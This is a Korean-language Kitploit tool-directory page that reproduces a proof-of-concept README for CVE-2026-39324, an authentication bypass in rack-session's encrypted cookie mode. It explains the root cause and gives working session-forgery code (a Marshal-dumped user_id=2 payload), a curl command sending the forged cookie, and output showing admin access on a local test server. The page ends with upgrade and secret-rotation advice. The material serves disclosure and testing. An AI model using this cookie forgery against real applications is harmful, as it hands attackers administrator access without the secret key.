Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-39324 — # Rack::Cookie 인증 우회(CVE-2026-39324)에 대한 개념 증명 익스플로잇 폴백 코더를 통한 세션 위조를 시연하여 관리자 접근 권한을 획득하는 익스플로잇입니다. | Kitploit
도구/GitHubGitHub/sm1ee/cve-2026-39324
Authentication & AuthorizationVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubsm1ee/cve-2026-39324

CVE-2026-39324

# Rack::Cookie 인증 우회(CVE-2026-39324)에 대한 개념 증명 익스플로잇 폴백 코더를 통한 세션 위조를 시연하여 관리자 접근 권한을 획득하는 익스플로잇입니다.

저장소 보기
4개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-39324 익스플로잇 PoC

Rack::Session::Cookie 복호화 실패 시 암호화되지 않은 쿠키를 수락하는 폴백 발생

권고GHSA-33qg-7wpp-89cq
패키지rack-session (RubyGems)
영향 범위<= 2.1.1
패치 버전2.1.2

요약

secrets: 옵션을 사용하는 Rack::Session::Cookie는 암호화된 쿠키만 수락해야 합니다. 그러나 복호화에 실패하면 쿠키를 거부하지 않고 기본 Base64::Marshal 코더로 폴백합니다.

공격자는 일반 Base64(Marshal.dump(...)) 쿠키를 전송할 수 있으며, 서버는 비밀 키를 알지 못한 채 이를 유효한 세션 데이터로 수락합니다.

조건

  • rack-session <= 2.1.1
  • secrets: 옵션을 사용하는 Rack::Session::Cookie
  • 앱이 권한 부여에 세션 값(user_id, role 등)을 사용
  • 공격자가 대상 서버에 HTTP 요청을 전송할 수 있음

영향을 받지 않는 경우:

  • secret: (단수) — HMAC 서명을 사용하며 다른 코드 경로입니다. secrets: (복수, 암호화 쿠키 모드)만 취약합니다.
  • Rails — ActionDispatch::Session::CookieStore를 사용하는 별도 구현입니다.

근본 원인

root@kitploit:~
# lib/rack/session/cookie.rb

# secrets: 설정과 관계없이 폴백 코더가 항상 생성됨
@coder = options[:coder] ||= Base64::Marshal.new

# 복호화 시도 — 암호화되지 않은 쿠키는 모두 실패
encryptors.each do |encryptor|
  session_data = encryptor.decrypt(cookie_data) rescue next
  break
end

# 버그: 거부하지 않고 암호화되지 않은 코더로 폴백
if !session_data && coder
  session_data = coder.decode(cookie_data)  # → Marshal.load(Base64.decode64(...))
end

secrets: 경로에서 복호화 실패는 종료되어야 합니다. 그러나 대신 쿠키가 coder.decode()로 전달되어 일반 쿠키가 세션 데이터로 로드됩니다.

재현

root@kitploit:~
poc/
├── Gemfile      rack-session 2.1.1
├── server.rb    secrets: 설정이 있는 Rack 앱
├── verify.rb    기본 동작 확인 (정상 동작)
└── attack.rb    세션 위조 (익스플로잇)

실행

root@kitploit:~
cd poc
bundle install

ruby server.rb &      # 취약한 서버 시작
ruby verify.rb        # 정상 동작 확인
ruby attack.rb        # 쿠키 위조 → 관리자 접근

server.rb

암호화된 쿠키에 secrets:를 사용하는 Rack 앱. 두 명의 사용자: id=1 (일반), id=2 (관리자). 세션에는 user_id만 저장되며, 관리자 확인은 서버 측 조회로 수행됩니다.

verify.rb

서버가 올바르게 작동하는지 확인합니다:

요청예상 결과
GET /admin (쿠키 없음)403
POST /login?id=1200, 암호화된 쿠키
GET /admin (user id=1 쿠키)403

attack.rb

비밀 키 없이 세션 쿠키를 위조합니다.

1) 쿠키 위조:

root@kitploit:~
payload = { "session_id" => "attacker-forged", "user_id" => 2 }
cookie  = Base64.strict_encode64(Marshal.dump(payload))

2) 위조된 쿠키를 수신했을 때 서버 측 흐름:

root@kitploit:~
encryptor #1 decrypt → HMAC invalid
encryptor #2 decrypt → HMAC invalid
fallback → coder.decode() → Marshal.load → 공격자 세션 수락
→ session["user_id"] = 2 → 관리자 사용자 확인 → 200 OK

출력

root@kitploit:~
$ ruby attack.rb
--- CVE-2026-39324: Session Forgery ---
Target:  http://127.0.0.1:9416
Payload: {"session_id" => "attacker-forged", "user_id" => 2}
Cookie:  rack.session=BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiFGF0dGFja2VyLWZvcmdlZAY7AFRJIgx1c2VyX2lkBjsAVGkH

Session cookie encryptor error: HMAC is invalid   ← encryptor #1 실패
Session cookie encryptor error: HMAC is invalid   ← encryptor #2 실패, 그러나 쿠키는 거부되지 않음
Status: 200
Body:   {"status" => "ok", "message" => "admin panel", "session_hash" => {"session_id" => "attacker-forged", "user_id" => 2}, "current_user" => {"id" => 2, "email" => "[email protected]", "admin" => true}}

[!] VULNERABLE — 위조된 user_id=2가 수락되어 관리자 접근 권한이 부여됨.

두 HMAC 검사가 모두 실패하지만 쿠키는 거부되지 않습니다. 폴백 코더가 이를 수락하고 공격자는 관리자 권한을 얻습니다.

curl

root@kitploit:~
ruby -rbase64 -e 'puts Base64.strict_encode64(Marshal.dump({"user_id"=>2}))'
# → BAh7BkkiDHVzZXJfaWQGOgZFVGkH

curl http://127.0.0.1:9416/admin -H 'Cookie: rack.session=BAh7BkkiDHVzZXJfaWQGOgZFVGkH'

완화 조치

  1. rack-session을 >= 2.1.2로 업데이트
  2. 업데이트 후 세션 비밀 키를 교체 — 패치 전에 위조된 세션이 수락되어 재발급되었을 수 있음
도구 다운로드